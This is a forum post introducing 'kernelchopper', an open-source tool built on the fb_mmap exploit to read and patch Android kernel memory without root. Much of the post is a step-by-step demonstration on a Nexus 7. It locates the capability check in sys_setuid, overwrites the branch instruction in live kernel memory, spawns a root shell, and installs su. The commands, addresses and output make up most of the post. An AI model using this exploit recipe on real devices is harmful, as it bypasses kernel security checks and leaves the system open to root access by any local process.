[General Questions and Answers] SW686:
I'm posting a new, open source utility called "kernelchopper" which uses djrbliss' fb_mmap exploit to allow the advanced user to explore and modify kernel memory on a non-rooted system.

kernelchopper employs a few extra refinements to maximize the amount of kernel memory exposed to the user application:

1) It is built and linked statically using the Linaro glibc toolchain, because dynamically linked Bionic binaries tend to map libraries and other stuff in the 0x4000_0000 user address range - a critical part of the address space that we'd like to reserve for the kernel memory mapping

2) It uses MAP_FIXED to force the kernel to use the lowest VA available, and adjusts the base address until it finds a mutually agreeable number

On my Nexus 7 I was able to map PA range 0x5000_0000 - 0xffff_ffff. On Tegra systems, system RAM starts at PA 0x8000_0000 (= kernel VA 0xc000_0000), so it is trivial to patch the kernel image in place.

Sample usage:

A quick check of /proc/iomem shows that physical memory starts at PA 0x8000_0000; the decompressed kernel image lives at VA 0xc000_8000 (ARM 3GB/1GB standard) = PA 0x8000_8000. Make a note of this for later:

80000000-beafffff : System RAM
80008000-80900a57 : Kernel text
80944000-80b841af : Kernel data

Since I built my ROM from source, I have a kernel image with full symbols. Install binutils-multiarch and disassemble with "objdump -d vmlinux":

c0077650 <sys_setuid>:
c0077650: e92d40f8 push {r3, r4, r5, r6, r7, lr}
c0077654: e1a05000 mov r5, r0
c0077658: eb0040d6 bl c00879b8 <prepare_creds>
c007765c: e2504000 subs r4, r0, #0
c0077660: 0a000027 beq c0077704 <sys_setuid+0xb4>
c0077664: e1a0200d mov r2, sp
c0077668: e3c23d7f bic r3, r2, #8128 ; 0x1fc0
c007766c: e3c3303f bic r3, r3, #63 ; 0x3f
c0077670: e3a00007 mov r0, #7
c0077674: e593300c ldr r3, [r3, #12]
c0077678: e59362fc ldr r6, [r3, #764] ; 0x2fc
c007767c: ebffd80f bl c006d6c0 <nsown_capable>
c0077680: e3500000 cmp r0, #0
[color=red]c0077684: 1a00000a bne c00776b4 <sys_setuid+0x64>[/color]

Forcing the branch in red to be taken unconditionally will allow any user to setuid() to any UID, bypassing the kernel's security checks. This is easy to do with kernelchopper. First verify that the code matches the disassembly:

shell@android:/data/local/tmp $ ./kernelchopper d 80077650 40
80077650: f8 40 2d e9 00 50 a0 e1 d6 40 00 eb 00 40 50 e2
80077660: 27 00 00 0a 0d 20 a0 e1 7f 3d c2 e3 3f 30 c3 e3
80077670: 07 00 a0 e3 0c 30 93 e5 fc 62 93 e5 0f d8 ff eb
80077680: 00 00 50 e3 [color=red]0a 00 00 1a[/color] 04 30 96 e5 05 00 53 e1

The little-endian word at PA 0x8007_7684 is 0a 00 00 1a = 0x1a00_000a. Let's change the instruction word to make it unconditional, and then invoke kernelchopper again to setuid() and spawn a shell:

shell@android:/data/local/tmp $ ./kernelchopper m 80077684
1a00000a
shell@android:/data/local/tmp $ ./kernelchopper m 80077684 ea00000a
shell@android:/data/local/tmp $ ./kernelchopper shell
shell@android:/data/local/tmp # id
uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

At this point you can remount /system read-write, install an "su" binary in /system/xbin, make the "su" binary setuid root, and install Superuser/SuperSU. You will probably want to reboot soon because any other process running on the system can also get root until the virgin kernel is reloaded, if it somehow knows to try.

kernelchopper can also dump ranges of memory (and/or your kernel image) to a file, for offline analysis. This can help in locating things that you might want to change.

shell@android:/data/local/tmp $ ./kernelchopper d 80077650 bc setuid.bin
shell@android:/data/local/tmp $ hexdump -C setuid.bin
00000000 f8 40 2d e9 00 50 a0 e1 d6 40 00 eb 00 40 50 e2 |.@-..P.. [MENTION=457974]...[/MENTION]@P.|
00000010 27 00 00 0a 0d 20 a0 e1 7f 3d c2 e3 3f 30 c3 e3 |'.... ...=..?0..|
00000020 07 00 a0 e3 0c 30 93 e5 fc 62 93 e5 0f d8 ff eb |.....0...b......|
00000030 00 00 50 e3 0a 00 00 ea 04 30 96 e5 05 00 53 e1 |..P......0....S.|
00000040 10 00 00 0a 0c 30 94 e5 05 00 53 e1 00 70 e0 13 |.....0....S..p..|
00000050 0c 00 00 0a 04 00 a0 e1 34 41 00 eb 07 00 a0 e1 |........4A......|
00000060 f8 80 bd e8 04 50 84 e5 0c 50 84 e5 04 30 96 e5 |.....P...P...0..|
00000070 05 00 53 e1 03 00 00 0a 04 00 a0 e1 97 fc ff eb |..S.............|
00000080 00 70 50 e2 f2 ff ff ba 14 50 84 e5 04 00 a0 e1 |.pP......P......|
00000090 1c 50 84 e5 06 10 a0 e1 01 20 a0 e3 cb 61 06 eb |.P....... ...a..|
000000a0 00 70 50 e2 ea ff ff ba 04 00 a0 e1 f8 40 bd e8 |.pP..........@..|
000000b0 32 41 00 ea 0b 70 e0 e3 e7 ff ff ea |2A...p......|
000000bc

It is often possible to dump the kernel image range from /proc/iomem and either extract the kallsyms information, or compare code sequences to a similar kernel for which you do have symbols. This would allow you to locate interesting functions like sys_setuid() in unfamiliar images.